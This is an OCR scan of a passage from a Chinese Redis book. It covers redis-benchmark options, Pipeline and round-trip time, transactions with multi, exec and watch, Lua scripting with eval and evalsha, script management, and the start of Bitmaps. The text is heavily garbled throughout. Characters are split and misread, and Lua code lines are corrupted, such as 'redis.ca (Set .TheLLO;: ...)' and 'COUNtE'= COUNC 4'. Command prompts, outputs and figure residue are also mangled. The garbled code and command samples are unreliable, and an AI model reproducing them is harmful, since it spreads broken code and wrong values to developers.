位 做 随机 处 理 〈-r 不 是 随机 数 的 个 数 ) 。 例 如 上 面 操作 后 ，key 的 数量 和 结 
果 结 构 如 下 : 





127.0.0.1:6379> dbsize 

(integer) 18641 

127,.00,.1:63719> scan 0 

二) WIA336" 

2) 1) "key:000000004580" 
2) "key:000000004519" 


10) "key:000000002113" 


一 | 
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$5.-P 
-P 选 项 代表 每 个 请 求 pipeline 的 数据 量 ( 默 认为 1) 。 
6.-k<boolean> 


-k 选 项 代表 客户 端 是 否 使 用 keepalive，1 为 使 用 ，0 为 不 使 用 ， 默 认 值 为 


7.-t 


-t 选 项 可 以 对 指定 命令 进行 基准 测试 。 





redis-benchmark -t get,set -q 
SET: 98619.32 requests per second 
GET: 97560.98 requests per second 

















8.--CSV 


--CSV 选 项 会 将 结果 按照 csv 格 式 输出 ， 便 于 后 续 处 理 ， 如 导出 到 Excel 





redis-benchmark -t get,set --csy 
TSET™ "81300,81LY" 
TOET™ IO0SL de 


一 
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3.3 Pipelne 
3.3.1 Pipeline 概念 


Redis 客 户 端 执行 一 条 命令 分 为 如 下 四 个 过 程 : 


其 中 1) +4) 称 为 Round Trip Time (RTT， 往 返 时 间 ) 。 


Redis 提 供 了 批量 操作 命令 (例如 mget、mset 等 ) ， 有 效 地 节约 RTT。 但 
大 部 分 命令 是 不 支持 批量 操作 的 ， 例 如 要 执行 n 次 hgetall 命 令 ， 并 没有 
mhsetall 命 令 存 在 ， 需 要 消耗 n 次 RTT。Redis 的 客户 端 和 服务 端 可 能 部 署 在 不 
同 的 机 器 上 。 例 如 客户 端 在 北京 ，Redis 服 务 端 在 上 海 ， 两 地 直线 距离 约 为 
1300 公 里 ， 那 么 1 次 RTT 时 间 =1300x2/ (300000x2/3) =13 毫 秒 〈 光 在 真空 中 
传输 速度 为 每 秒 30 万 公里 ， 这 里 假设 光纤 为 光速 的 2/3) ， 那 么 客户 端 在 1 秒 
内 大 约 只 能 执行 80 次 左右 的 命令 ， 这 个 和 Redis 的 高 并 发 高 吞吐 特性 背 道 而 
驰 。 














Pipeline“ 流 水 线 ) 机 制 能 改善 上 面 这 类 问题 ， 它 能 将 一 组 Redis 命 令 进 
行 组 装 ， 通 过 一 次 RTT 传 输 给 Redis， 再 将 这 组 Redis 命 令 的 执行 结果 按 顺 序 
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返回 给 客户 端 ， 图 3-5 为 没有 使 用 Pipeline 执 行 了 n 条 命令 ， 整 个 过 程 需要 n 次 


RI1IT。 


client 





图 3-5 没有 Pipeline 执 行 a 次 命令 模型 
图 3-6 为 使 用 Pipeline 执 行 了 n 次 命令 ， 整 个 过 程 需 要 1 次 RTT。 
Pipeline 并 不 是 什么 新 的 技术 或 机 制 ， 很 多 技术 上 都 使 用 过 。 而 且 RTT 
在 不 同 网 络 环境 下 会 有 不 同 ， 例 如 同 机 房 和 同 机 器 会 比较 快 ， 跨 机 房 跨 地 区 


会 比较 慢 。Redis 命 令 真正 执行 的 时 间 通 常 在 微 秒 级 别 ， 所 以 才 会 有 Redis 性 
能 瓶颈 是 网 络 这 样 的 说 法 。 


redis-cli 的 --pipe 选 项 实际 上 就 是 使 用 Pipeline 机 制 ， 例 如 下 面 操 作 将 set 


hello world 和 incr counter 两 条 命令 组 装 : 








echo -en '*3\r\n$3\r\nSET\r\n$5\r\nhello\r\n$5\r\nworld\r\n*2\r\n$4\r\nincr\r\ 
n$7\r\ncounter\r\n' | redis-cli --pipe 
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但 大 部 分 开发 人 员 更 倾向 于 使 用 高 级 语言 客户 端 中 的 Pipeline， 目 前 大 
部 分 Redis 客 户 端 都 文 持 Pipeline， 第 4 章 我 们 将 介绍 如 何 通 过 Java 的 Redis 客 


户 端 Jedis 使 用 Pipeline 功 能 。 
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3.3.2 ”性 能 测试 


表 3-1 给 出 了 在 不 同 网 络 环 境 下 非 Pipeline 和 Pipeline 执 行 10000 次 set 操 作 
的 效果 ， 可 以 得 到 如 下 两 个 结论 


Pipeline 执 行 速度 一 般 比 逐条 执行 要 快 。 


客户 端 和 服务 端的 网 络 延 时 越 大 ，Pipeline 的 效果 越 明 显 。 


Ms 1 


client 


返回 pipeline 


时 





图 3-6 ”使 用 Pipeline 执 行 n 条 命令 模型 
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Os 


因 测 试 环境 不 同 可 能 得 到 的 具体 数字 不 尽 相 同 ， 本 测试 Pipeline 每 次 携 





带 100 条 命令 。 


表 3-1 在 不 同 网 络 下 ，10000 条 set 非 Pipeline 和 Pipeline 的 执行 时 间 对 比 


册 Poo 
3 2 





190 


3.3.3 ”原生 批量 命令 与 Pipeline 对 比 


可 以 使 用 Pipeline 模 拟 出 批量 操作 的 效果 ， 但 是 在 使 用 时 要 注意 它 与 原 
生 批 量 命令 的 区 别 ， 有 具体 包含 以 下 几 点 : 








:原生 批量 命令 是 原子 的 ，Pipeline 是 非 原子 的 。 
:原生 批量 命令 是 一 个 命令 对 应 多 个 key，Pipeline 支 持 多 个 命令 


:原生 批量 命令 是 Redis 服 务 端 支持 实现 的 ， 而 Pipeline 需 要 服务 端 和 客户 
端的 共同 实现 。 


197 


3.3.4 ”最 佳 实践 


Pipeline 虽 然 好 用 ， 但 是 每 次 Pipeline 组 装 的 命令 个 数 不 能 没有 节制 ， 人 否 
则 一 次 组 北 Pipeline 数 据 量 过 大 ， 一 方面 会 增加 客户 并 的 等 待 时 间 ， 男 一 方 
面 会 造成 一 定 的 网 络 阻 蛤 ， 可 以 将 一 次 包含 大 量 命令 的 Pipeline 拆 分 成 多 次 
较 小 的 Pipeline 来 完成 。 


Pipeline 只 能 操作 一 个 Redis 实 例 ， 但 是 即使 在 分 布 式 Redis 场 景 中 ， 也 可 
以 作为 批量 操作 的 重要 优化 手段 ， 有 具体 细节 见 第 11 章 。 
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3.4 事务 与 Lua 


为 了 保证 多 条 命令 组 合 的 原子 性 ，Redis 提 供 了 简单 的 事务 功能 以 及 集 
成 Lua 脚 本 来 解决 这 个 问题 。 本 节 首 先 简单 介绍 Redis 中 事务 的 使 用 方法 以 及 
它 的 局 限 性 ， 之 后 重点 介绍 Lua 语 言 的 基本 使 用 方法 ， 以 及 如 何 将 Redis 和 
Lua 脚 本 进行 集成 ， 最 后 给 出 Redis 管 理 Lua 脚 本 的 相关 命令 。 
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3.4.1 事务 


熟悉 关系 型 数据 库 的 读者 应 该 对 事务 比较 了 解 ， 简 单 地 说 ， 事 务 表示 一 
组 动作 ， 要 么 全 部 执行 ， 要 么 全 部 不 执行 。 例 如 在 社交 网 站 上 用 户 A 关 注 了 
用 户 B， 那 么 需要 在 用 户 A 的 关注 表 中 加 入 用 户 B， 并 且 在 用 户 B 的 粉丝 表 中 
添加 用 户 A， 这 两 个 行为 要 么 全 部 执行 ， 要 么 全 部 不 执行 ， 人 否则 会 出 现 数据 
不 一 致 的 情况 。 





Redis 提 供 了 简单 的 事务 功能 ， 将 一 组 需要 一 起 执行 的 命令 放 到 multi 和 
exec 两 个 命令 之 间 。multi 命 令 代 表 事 务 开始 ，exec 命 令 代 表 事 务 结束 ， 它 们 
之 间 的 命令 是 原子 顺序 执行 的 ， 例 如 下 面 操作 实现 了 上 述 用 户 关 注 问题 。 





12730.01:6379> multti 

OK 

127:0.01:6379> sadd user:a:follow User:hb 
QUEUED 

127.0.0.1:6379> sadd user:b:fans user:a 
QUEUED 























可 以 看 到 sadd 命 令 此 时 的 返回 结果 是 QUEUED， 代 表 命 令 并 没有 真正 执 
行 ， 而 是 暂时 保存 在 Redis 中 。 如 果 此 时 另 一 个 客户 端 执 行 Sismember user: 
a: follow user: b 返 回 结果 应 该 为 0。 





127.0.0.1:6379> sismember user:a:follow user:b 
(integer) 0 





只 有 当 exec 执 行 后 ， 用 户 A 关 注 用 户 B 的 行为 才 算 完成 ， 如 下 所 示 返 回 
的 两 个 结果 对 应 sadd 命 令 。 





127.0.0.1:6379> exec 
1) (integer) 1 
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2) (integer) 1 
127.0.0.1:6379> sismember user:a:follow user:b 


(integer) 1 





如 果 要 停止 事务 的 执行 ， 可 以 使 用 discard 命 令 代 蔡 exec 命 令 即 可 。 





127.0.0.1:63719> discard 


OK 
127.0.0.1:6379> sismember user:a:follow user:b 


(integer) 0 





如 果 事 务 中 的 命令 出 现 错误 ，Redis 的 处 理 机 制 也 不 尽 相 同 。 


1 .命令 错 误 


例如 下 面 操 作 错 将 set 写 成 了 sett， 属 于 语法 错误 ， 会 造成 整个 事务 无 法 
执行 ，key 和 counter 的 值 未 发 生变 化 : 





127.0.0.1:6388> mget key counter 
1) "hello" 


127.0.0.1:6388> multi 
27.0.0.1:6388> sett key world 


(error) ERR unknown command 'sett"' 
127.0.0.1:6388> incr counter 

















127. 0. 0.1:6388> exec 
(error) EXECABORT Transaction discarded because of previous errors. 


127.0.0.1:6388> mget key counter 
1) “HelLlo™ 
2) "nw100" 


























2. 运 行 时 错误 


de 


例如 用 户 B 在 添加 粉丝 列表 时 ， 误 把 sadd 命 令 写 成 了 zadd 命 令 ， 这 种 就 
是 运行 时 命令 ， 因 为 语法 是 正确 的 : 





12700.0.1r0379> 而 二 二 


OK 
127.0.0.1:6379> sadd user:a:follow user:b 


QUEUED 
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127.0.0.1:6379> zadd user:b:fans 1 user:a 

QUEUED 

127.0.0.1:6379> exec 

1) (integer) 1 

2) (error) WRONGTYPE Operation against a key holding the wrong kind of value 
127.0.0.1:6379> sismember user:a:follow user:b 

(integer) 1 




















可 以 看 到 Redis 并 不 支持 回 深 功 能 ，sadd user: a: follow user: b 命 令 已 
经 执行 成 功 ， 开 发 人 员 需 要 自己 修复 这 类 问题 。 








有 些 应 用 场景 需要 在 事务 之 前 ， 确 保 事 务 中 的 key 没 有 被 其 他 客户 端 修 
改过 ， 才 执行 事务 ， 人 否则 不 执行 《类 似 乐 观 锁 ) 。Redis 提 供 了 了 watch 命令 来 
解决 这 类 问题 ， 表 3-2 展 示 了 两 个 客户 端 执 行 命令 的 时 序 。 


表 3-2 事务 中 watch 命 令 演示 时 序 





append key python 





可 以 看 到 “客户 端 -1* 在 执行 multi 之 前 执行 了 watch 命 令 ,， “客户 
端 -2” 在 “客户 问 -1” 执 行 exec 之 前 修改 了 key 值 ， 造 成 事务 没有 执行 (exec 结 
为 nil〉， 整 个 代码 如 下 所 示 : 








# 了 1 : 客户 端 1 
127.0.0.1:6379> set key "java" 


#T2: 客户 端 1 
127.0.0.1:6379> watch key 


#T3: 客户 端 1 
L270 0 1:6379> muLt 





# 了 4: 客户 端 2 
127.0.0.1:6379> append key Python 
(integer) 11 

# 了 5: 客户 端 1 
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127.0.0.1:6379> appengd key jedis 
QUEUED 

#T6: 客户 端 1 

127.0.0.1:6379> exec 

(nil) 

#T7: 客户 端 1 

127.0.0.1:6379> get key 


"javapython" 





Redis 提 供 了 简单 的 事务 ， 之 所 以 说 它 简 单 ， 主 要 是 因为 它 不 支持 事务 
中 的 回 滚 特性 ， 同 时 无 法 实现 命令 之 间 的 逻辑 关系 计算 ， 当 然 也 体现 了 
Redis 的 “keep it simple” 的 特性 ， 下 一 小 节 介 绍 的 Lua 脚 本 同样 可 以 实现 事务 
的 相关 功能 ， 但 是 功能 要 强大 很 多 。 
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3.4.2” Lua 用 法 简 述 


Lua 语 言 是 在 1993 年 由 巴西 一 个 大 学 研究 小 组 发 明 ， 其 设计 目标 是 作为 
典 入 式 程序 移植 到 其 他 应 用 程序 ， 它 是 由 C 语 言 实现 的 ， 虽 然 简单 小 巧 但 是 
功能 强大 ， 所 以 许多 应 用 都 选用 它 作 为 脚本 语言 ， 尤 其 是 在 游戏 领域 ， 例 如 
大 名 易 易 的 暴雪 公司 将 Lua 语 言 引入 到 “魔兽 世界 "这 款 游 戏 中 ，Rovio 公 司 将 
Lua 语 言 作 为 “愤怒 的 小 鸟 " 这 款 火爆 游戏 的 关卡 升级 引擎 ，Web 服 务 器 Nginx 
将 Lua 语 言 作为 扩展 ， 增 强 自身 功能 。Redis 将 Lua 作 为 脚本 语言 可 帮助 开发 
者 定制 自己 的 Redis 命 令 ， 在 这 之 前 ， 必 须 修改 源码 。 在 介绍 如 何在 Redis 中 
使 用 Lua 脚 本 之 前 ， 有 必要 对 Lua 语 言 的 使 用 做 一 个 基本 的 介绍 。 








1 .数据 类 型 及 其 逻辑 处 理 


Lua 语 言 提 供 了 如 下 几 种 数据 类 型 : booleans (布尔 ) 、numbers 〈 数 
值 )、strings (字符 串 )、tables (表格 〉， 和 许多 高 级 语言 相 比 ， 相 对 简 
单 。 下 面 将 结合 例子 对 Lua 的 基本 数据 类 型 和 逻辑 处 理 进行 说 明 。 


(1) 字符 串 
下 面 定 义 一 个 字符 串 类 型 的 数据 : 


local strings val = "world" 











其 中 ，local 代 表 val 是 一 个 局 部 变量 ， 如 果 没 有 local 代 表 是 全 局 变量 。 
Print 函数 可 以 打印 出 变量 的 值 ， 例 如 下 面 代码 将 打印 world， 其 中 "--" 是 Lua 


语言 的 注释 。 
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一 一 结果 是 "world" 
print (hello) 





(2) 数组 


在 Lua 中 ， 如 果 要 使 用 类 似 数组 的 功能 ， 可 以 用 tables 类 型 ， 下 面 代码 使 
用 定义 了 一 个 tables 类 型 的 变量 myArray， 但 和 大 多 数 编程 语言 不 同 的 是 ， 
Lua 的 数组 下 标 从 1 开始 计算 : 








local tables myArray = {"redis", "jedis", true, 88.0} 
= 三 七 天 让 后 
print (myArray[3]) 





如 果 想 遍历 这 个 数组 ， 可 以 使 用 for 和 while， 这 些 关键 字 和 许多 编程 语 
言 是 一 致 的 。 


(a) for 


下 面 代码 会 计算 1 到 100 的 和 ， 关 键 字 for 以 end 作 为 结束 符 : 





local int sum = 0 
for i = 1, 100 
do 

sum = Sum + 1i 
end 
-一 输出 结果 为 5050 
print (sum) 





要 遍历 myArray， 首 先 需 要 知道 tables 的 长 度 ， 只 需要 在 变量 前 加 一 个 # 
写 即 可 : 





for i = 1, #myArray 
do 

print (myArray[il]) 
end 
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除 此 之 外 ，Lua 还 提供 了 内 置 函数 ipairs， 使 用 for index，value 
ipairs 〈tables) 可 以 过 历 出 所 有 的 索引 下 标 和 值 : 








for index,value in ipairs (myArray) 
do 





print (index) 
print (value) 
end 





(b) while 


下 面 代 码 同 样 会 计算 1 到 100 的 和 ， 只 不 过 使 用 的 是 while 循 环 ，while 循 
环 同 样 以 end 作 为 结束 符 。 





local int sum = 0 
local int i = 0 
while i <= 100 

do 














sum = sum +i 
i=i+1 
end 
一 一 输 出 结果 为 5050 
print (sum) 





(c) ifelse 


要 确定 数组 中 是 否 包含 了 jedis， 有 则 打印 fue， 注 意 if 以 end 结 尾 ，if 后 
紧 跟 then: 





local tables myArray = {"redis", "jedis", true, 88.0} 
for i = 1, #myArray 
do 
if myArray[i] == "jedis" 
then 
print ("true") 
break 
else 
--do nothing 
end 


= tt 
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(3) 哈 希 


如 果 要 使 用 类 似 哈 希 的 功能 ， 同 样 可 以 使 用 tables 类 型 ， 例 如 下 面 代码 
定义 了 一 个 tables， 每 个 元 素 包含 了 key 和 value， 其 中 strings1..string2 是 将 两 


个 字符 如 进行 连接 : 








local tables user 1 = {age = 28, name = "tome"} 
==User 1 age is: 28 
print ("user 1 age 1s ™ se User 工 [ade"]) 





如 有 果 要 授 历 user_1， 可 以 使 用 Lua 的 内 置 函 数 pairs: 





for key,value in pairs(user 1) 
do print (key .. Value) 
end 





2. 函 数 定义 


在 Lua 中 ， 函 数 以 function 开 涉 ， 以 end 结 尾 ，funcName 是 函数 名 ， 中 间 部 
分 是 函数 体 : 





function funcName () 


end 
Contact 函数 将 两 个 字符 串 拼 接 : 
functionm Contact (strl, Str2) 


return strl .. str2 
end 
—-—"hello world" 
print (contact ("hello ", "world")) 





本 书 只 是 介绍 了 Lua 部 分 功能 ， 因 为 Lua 的 全 部 功能 已 经 超出 本 书 的 范 
围 ， 读 者 可 以 购买 相应 的 书籍 或 者 到 Lua 的 官方 网 站 (http://www.lua.org/) 
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3.4.3 Redis 与 Lua 


1. 在 Redis 中 使 用 Lua 
在 Redis 中 执行 Lua 脚 本 有 两 种 方法 : eval 和 evalsha。 


(1) eval 





eval 脚本 内 容 key 个 数 key 列 表 参数 列表 





下 面 例子 使 用 了 key 列 表 和 参数 列表 来 为 Lua 脚 本 提供 更 多 的 灵活 性 : 





127.0.0.1:6379> eval 'return "hello " .. KEYS[1] .. ARGV[1]' 1 redis world 
"hello redisworld" 











此 时 KEYS[1]="redis"，ARGV[1]="world"， 所 以 最 终 的 返回 结果 


是 "hello redisworld"。 
如 果 Lua 脚 本 较 长 ， 还 可 以 使 用 redis-cli--eval 直 接 执行 文件 。 


eval 命 令 和 --eval 参 数 本 质 是 一 样 的 ， 客 户 并 如 果 想 执行 Cua 脚本， 首先 
在 客户 妆 编 写 好 Lua 脚 本 代码 ， 然 后 把 脚本 作为 字符 串 发 送 给 服务 端 ， 服 务 
端 会 将 执行 结果 返回 给 客户 端 ， 整 个 过 程 如 图 3-7 所 示 。 
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Redis 


YY < 和 四 
Se 
二 和 RE | 际 a Lua 脚 牙 Icmd1 


4, Lua 脚 赤 结果 


十 -一 
省 时 行 


图 3-7 ” eval 命令 执行 Lua 脚 本 过 程 


(2) evalsha 


除了 使 用 eval，Redis 还 提供 了 evalsha 命 令 来 执行 Lua 脚 本 。 如 图 3-8 所 
示 ， 首 先 要 将 Lua 脚 本 加 载 到 Redis 服 务 端 ， 得 到 该 脚本 的 SHA1 校 验 和 ， 
evalsha 命 令 使 用 SHA1 作 为 参数 可 以 直接 执行 对 应 Lua 脚 本 ， 避 免 每 次 发 送 
Lua 脚 本 的 开销 。 这 样 客户 端 束 不 需要 每 次 执行 脚本 内 容 ， 而 脚本 也 会 闻 驻 
在 服务 端 ， 脚 本 功能 得 到 了 复 用 。 
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rr 
Redis 





Be 


Lua 脚 东 








Lua hash 值 1 





Lua 脚本 


[WS) 


1. 加 载 Lua 到 Redis 





Lua hash 值 3 Lua 脚本 : 


client 


| 
1 
| 
| 
E Lua hash 值 2 
1 
1 
| 


Lua hash 值 4 





图 3-8 ”使 用 evalsha 执 行 Lua 脚 本 过 程 


加 载 脚本 : script load 命 令 可 以 将 脚本 内 容 加 载 到 Redis 内 存 中 ， 例 如 下 
面 将 lua_getlua 加 载 到 Redis 中 ， 得 到 SHA1 
为 : "7413dc2440dblfea7c0a0bde841fa68eefafl49c" 





# redis-cli script load "$ (cat lua get.lua)" 
"7413dc2440dblfea7c0a0bde841lfa68eefaf1l49c" 








执行 脚本 : evalsha 的 使 用 方法 如 下 ， 参 数 使 用 SHA1 值 ， 执 行 逻辑 和 
eval 一 致 。 





evalsha 脚本 SHA1L 值 key 个 数 Key 列 表 参数 列表 








所 以 只 需要 执行 如 下 操作 ， 就 可 以 调用 lua_get.lua 脚 本 : 





127.0.0.1:6379> evalsha 7413dc2440dblfea7c0a0bde84lfa68eefafl49c 1 redis world 
"hello redisworld" 
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2.Lua 的 Redis API 


Lua 可 以 使 用 redis.call 函 数 实现 对 Redis 的 访问 ， 例 如 下 面 代码 是 Lua 使 用 
redis.call 调 用 了 Redis 的 set 和 get 操 作 : 





redis.ca (Set .TheLLO;: "worLbd’) 
redis.ca ("get", "hello") 





























放 在 Redis 的 执行 效果 如 下 : 





127.0.0.1:6379> eval 'return redis.call("get", KEYS[1])' 1 hello 
"world" 








除 此 之 外 Lua 还 可 以 使 用 redis.pcall 函 数 实 现 对 Redis 的 调用 ，redis.call 和 
redis.pcall 的 不 同 在 于 ， 如 果 redis.call 执 行 失败 ， 那 么 脚本 执行 结束 会 直接 返 
回 错误 ， 而 redis.pcall 会 忽略 错误 继续 执行 脚本 ， 所 以 在 实际 开发 中 要 根据 
具体 的 应 用 场景 进行 函数 的 选择 。 








Oj 


Lua 可 以 使 用 redis.log 函 数 将 Lua 脚 本 的 日 志 输 出 到 Redis 的 日 志文 件 中 ， 
但 是 一 定 要 控制 日 志 级 别 。 


Redis3.2 提 供 了 Lua Script Debugger 功 能 用 来 调试 复杂 的 Lua 脚 本 ， 具 体 
可 以 参考 ; http://redis.io/topics/ldb。 
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3.4.4 ”案例 


Lua 脚 本 功能 为 Redis 开 发 和 运 维 人 员 带 来 如 下 三 个 好 处 : 





Lua 脚本 在 Redis 中 是 原子 执行 的 ， 执 行 过 程 中 间 不 会 插入 其 他 命令 





-Lua 脚 本 可 以 帮助 开发 和 运 维 人 员 创 造 出 目 己 定制 的 命令 ， 并 可 以 将 这 
些 命令 常 驻 在 Redis 内 存 中 ， 实 现 复 用 的 效果 。 





Lua 脚本 可 以 将 多 条 命令 一 次 性 打包 ， 有 效 地 减少 网 络 开 销 。 


下 面 以 一 个 例子 说 明 Lua 脚 本 的 使 用 ， 当 前 列表 记录 着 热门 用 户 的 id， 
假设 这 个 列表 有 5 个 元 素 ， 如 下 所 示 : 





127.0.0.1:6379> lrange hot:user:list 0 -1 
1 ) tO 

"user:8:ratio" 

TUSeEt SEatiON 

"user:99:ratio" 

"user:72:ratio" 


2) 
) 
) 
) 














user: {id}: ratio 代 表 用 户 的 热度 ， 它 本 上身 又 是 一 个 字符 串 类 型 的 键 : 





127.0.0.1:6379> mget user:1:ratio user:8:ratio user:3:ratio user:99:ratio 
user:72:ratio 

"986™ 

了 62 

WO 

"400" 

"1L039 


器 








现 要 求 将 列表 内 所 有 的 键 对 应 热度 做 加 1 操作 ， 并 且 保 证 是 原子 执行 ， 
此 功能 可 以 利用 Lua 脚 本 来 实现 。 





1) 将 列表 中 所 有 元 素 取 出 ， 赋 值 给 mylist: 
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local mylist = redis.call("lrange", KEYS[1], 0, -1) 








2) 定义 局 部 变量 count=0， 这 个 count 就 是 最 后 incr 的 总 次 数 : 





Jocal count = 0 





3) 裔 历 mylist 中 所 有 元 素 ， 每 次 做 完 count 自 增 ， 最 后 返回 count: 





for index,key in ipairs (mylist) 
do 





redis.call ("incr",key) 
COUNtE'= COUNC 4 

end 

return count 





将 上 述 脚 本 写 入 lrange_and_mincr.lua 文 件 中 ， 并 执行 如 下 操作 ， 返 回 结 
果 为 5。 





redis-cli --eval lrange and mincr. lua hot:user:list 
(integer) 5 








执行 后 所 有 用 户 的 热度 上 自 增 1: 





127.0.0.1:6379> mget user:1:ratio user:8:ratio user:3:ratio user:99:ratio 
user:72:ratio 


1) "987" 
2) "763" 
3) "557" 
4) 下 动 | 全 于 于 
5) ED 





本 节 给 出 的 只 是 一 个 简单 的 例子 ， 在 实际 开 用 中， 开发 人 员 可 以 发 挥 目 
己 的 想象 力 创造 出 更 多 新 的 命令 。 
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3.4.5 Redis 如 何 管理 Lua 脚 本 


Redis 提 供 了 4 个 命令 实现 对 Lua 脚 本 的 管理 ， 下 面 分 别 介绍 。 


(1) Script load 





script load Script 





此 命令 用 于 将 Lua 脚 本 加 载 到 Redis 内 存 中 ， 前 面 已 经 介绍 并 使 用 过 了 ， 
这 里 不 再 资 述 。 


(2) script exists 





scripts exists shal [shal ..] 





此 命令 用 于 判断 shal 是 否 已 经 加 载 到 Redis 内 存 中 : 





127.0.0.1:6379> Script exists a5260dd66ce02462c5b5231c727b3f7772c0bcc5 
1) (integer) 1 





返回 结果 代表 shal[shal...] 被 加 载 到 Redis 内 存 的 个 数 。 


(3) script flush 





script flush 





此 命令 用 于 清除 Redis 内 存 已 经 加 载 的 所 有 Lua 肢 本， 在 执行 script flush 
后 ，a5260dd66ce02462c5b5231c727b3f7772c0becc5 不 再 存在 : 





127.0.0.1:6379> Script exists a5260dd66ce02462c5b5231c727b3f7772c0bcc5 
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1) (integer) 1 

L127 .050051%:63793 script .flush 

OK 

127.0.0.1:6379> Script exists a5260dd66ce02462c5b5231c727b3f7772c0bcc5 
1) (integer) 0 





(4) Script kill 





script kill 





此 命令 用 于 欠 挥 正在 执行 的 Lua 脚 本 。 如 果 Lua 脚 本 比较 耗 时 ， 甚 至 Lua 
脚本 存在 问题 ， 那 么 此 时 Lua 脚 本 的 执行 会 阻塞 Redis， 直 到 脚本 执行 完毕 或 
者 外 部 进行 干预 将 其 结束 。 下 面 我 们 模拟 一 个 Lua 脚 本 阻塞 的 情况 进行 说 
明 。 


下 面 的 代码 会 使 Lua 进 入 死 循环 : 








执行 Lua 脚 本 ， 当 前 客户 端 会 阻 竖 : 





127.0.0.1:6379> eval ‘'while 1==1 do endq' 0 





Redis 提 供 了 一 个 lua-time-limit 参 数 ， 默 认 是 5 秒 ， 它 是 Lua 脚 本 的 “超时 
时 间 ”， 但 这 个 超时 时 间 仅 仅 是 当 Lua 脚 本 时 间 超 过 lua-time-limit 后 ， 问 其 他 
命令 调用 发 送 BUSY 的 信号 ， 但 是 并 不 会 停止 掉 服 务 端 和 客户 端的 脚本 执 
行 ， 所 以 当 达 到 lua-time-limit 值 之 后 ， 其 他 客户 端 在 执行 正常 的 命令 时 ， 将 
会 收 到 “Busy Redis is busy running a script”* 错 误 ， 并 且 提 示 使 用 script kill 或 者 
shutdown nosave 命 令 来 杀 挥 这 个 busy 的 脚本 : 
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127.0.0.1:6379> get hello 
(error) BUSY Redis is busy running a script. You can only call SCRIPT KILL or 
SHUTDOWN NOSAVE. 








此 时 Redis 已 经 阻塞 ， 无 法 处 理 正常 的 调用 ， 这 时 可 以 选择 继续 等 待 ， 
但 更 多 时 候 需 要 快速 将 脚本 杀 掉 。 使 用 shutdown save 显 然 不 太 合适 ， 所 以 选 
择 script kill， 当 seript kill 执 行 之 后 ， 客 户 端 调用 会 恢复 : 





L270%0 7530379> :SGLiBt. KELL] 
OK 

127.0.0.1:6379> get hello 
"world" 











但 是 有 一 点 需要 注意 ， 如 果 当 前 Lua 脚 本 正在 执行 写 操 作 ， 那 么 script 
kill 将 不 会 生效 。 例 如 ， 我 们 模拟 一 个 不 俘 的 写 操作 : 





while 1==1 
do 

redis.caLLl (Set .VK ey) 
end 





此 时 如 果 执 行 script kill， 会 收 到 如 下 异常 信息 : 





(error) UNKILLABLE Sorry the script already executed write commands against the 
dataset. You can either wait the script termination or kill the server in a 
hard way using the SHUTDOWN NOSAVE command. 











上 面 提 示 Lua 脚 本 正在 同 Redis 执 行 写 命令 ， 要 么 等 待 脚本 执行 结束 要 么 
使 用 shutdown save 停 挥 Redis 服 务 。 可 见 Lua 脚 本 虽然 好 用 ， 但 是 使 用 不 当 破 
坏 性 也 是 难以 想象 的 。 
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3.5 Bitmaps 


3.5.1 数据 结构 模型 


现代 计算 机 用 二 进 制 〈 位 ) 作为 信息 的 基础 单位 ，1 个 字 节 等 于 8 位 ， 例 
如 “big" 字 符 串 是 由 3 个 字 节 组 成 ， 但 实际 在 计算 机 存储 时 将 其 用 二 进 制 表 
示 ，“big" 分 别 对 应 的 ASCII[ 码 分 别 是 98、105、103， 对 应 的 二 进 制 分 别 是 
01100010、01101001 和 01100111， 如 图 3-9 所 示 。 


b 1 q 


LOLLLOLOILOLILOLOLLILLOLILOLOLLLOLIILLLOLOLLLLILYLI 


图 3-9 字符 串 “big" 用 二 进 制 表示 


许多 开发 语言 都 提供 了 操作 位 的 功能 ， 合 理 地 使 用 位 能 够 有 效 地 提高 
存 使 用 率 和 开发 效率 。Redis 提 供 了 Bitmaps 这 个 “数据 结构 ”可 以 实现 对 位 的 
操作 。 把 数据 结构 加 上 引号 主要 因为 : 





“Bitmaps 本 冉 不 是 一 种 数据 结构 ， 实 际 上 它 就 是 字符 串 (如 图 3-10 所 
示 ) ， 但 是 它 可 以 对 字符 串 的 位 进行 操作 。 








.Bitmaps 单 独 提供 了 一 套 命令 ， 所 以 在 Redis 中 使 用 Bitmaps 和 使 用 字符 
串 的 方法 不 太 相 同 。 可 以 把 Bitmaps 想 象 成 一 个 以 位 为 单位 的 数组 ， 数 组 的 
每 个 单元 只 能 存储 0 和 1， 数 组 的 下 标 在 Bitmaps 中 叫做 偏 移 量 。 
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key | = Troponin | 


图 3-10 ”字符 串 "big" 用 二 进 制 表示 
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3.$.2 ”命令 





本 节 将 每 个 独立 用 户 是 否 访问 过 网 站 存放 在 Bitmaps 中 ， 将 访问 的 用 户 
记 做 1， 没 有 访问 的 用 户 记 做 0， 用 偏 移 量 作为 用 户 的 id。 


1. 设 置 值 





setbit key offset Value 





设置 键 的 第 offset 个 位 的 值 ( 从 0 算 起 ) ， 假 设 现在 有 20 个 用 户 ， 
userid=0，5，11，15，19 的 用 户 对 网 站 进行 了 访问 ， 那 么 当前 Bitmaps 初 始 
化 结果 如 图 3-11 所 示 。 


TT TTT 


8 9 10 11 12 13 14 :15 .16 17 18 19 


图 3-11 ”setbit 使 用 


具体 操作 过 程 如 下 ，unique: users: 2016-04-05 代 表 2016-04-05 这 天 的 
独立 访问 用 户 的 Bitmaps: 





127.0.0.1:6379> setbit unique:users:2016-04-05 0 1 
127.0.0.1:6379> setbit unique:users:2016-04-05 5 1 
127.0.0.1:6379> setbit unique:users:2016-04-05 11 1 


127.0.0.1:6379> setbit unique:users:2016-04-05 15 1 




















127.0.0.1:6379> setbit unique:users:2016-04-05 19 1 





如 果 此 时 有 一 个 userid=50 的 用 户 访问 了 了 网站， 那么 Bitmaps 的 结构 变 成 
了 图 3-12， 第 20 位 ~49 位 都 是 0。 








! 1 | 
全 


1s: 二 
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图 3-12 ”userid=50 用 户 访 问 


很 多 应 用 的 用 户 id 以 一 个 指定 数字 《例如 10000) 开头 ， 直 接 将 用 户 id 
和 Bitmaps 的 偏 移 量 对 应 势必 会 造成 一 定 的 浪费 ， 通 常 的 做 法 是 每 次 做 setbit 
操作 时 将 用 户 id 减 去 这 个 指定 数字 。 在 第 一 次 初始 化 Bitmaps 时 ， 假 如 偏 移 
量 非 常 大 ， 那 么 整个 初始 化 过 程 执行 会 比较 慢 ， 可 能 会 造成 Redis 的 阻塞 。 





2. 获 取 值 





gitbit key offset 





获取 键 的 第 ofget 位 的 值 (从 0 开始 算 ) ， 下 面 操作 获取 id=8 的 用 户 是 否 
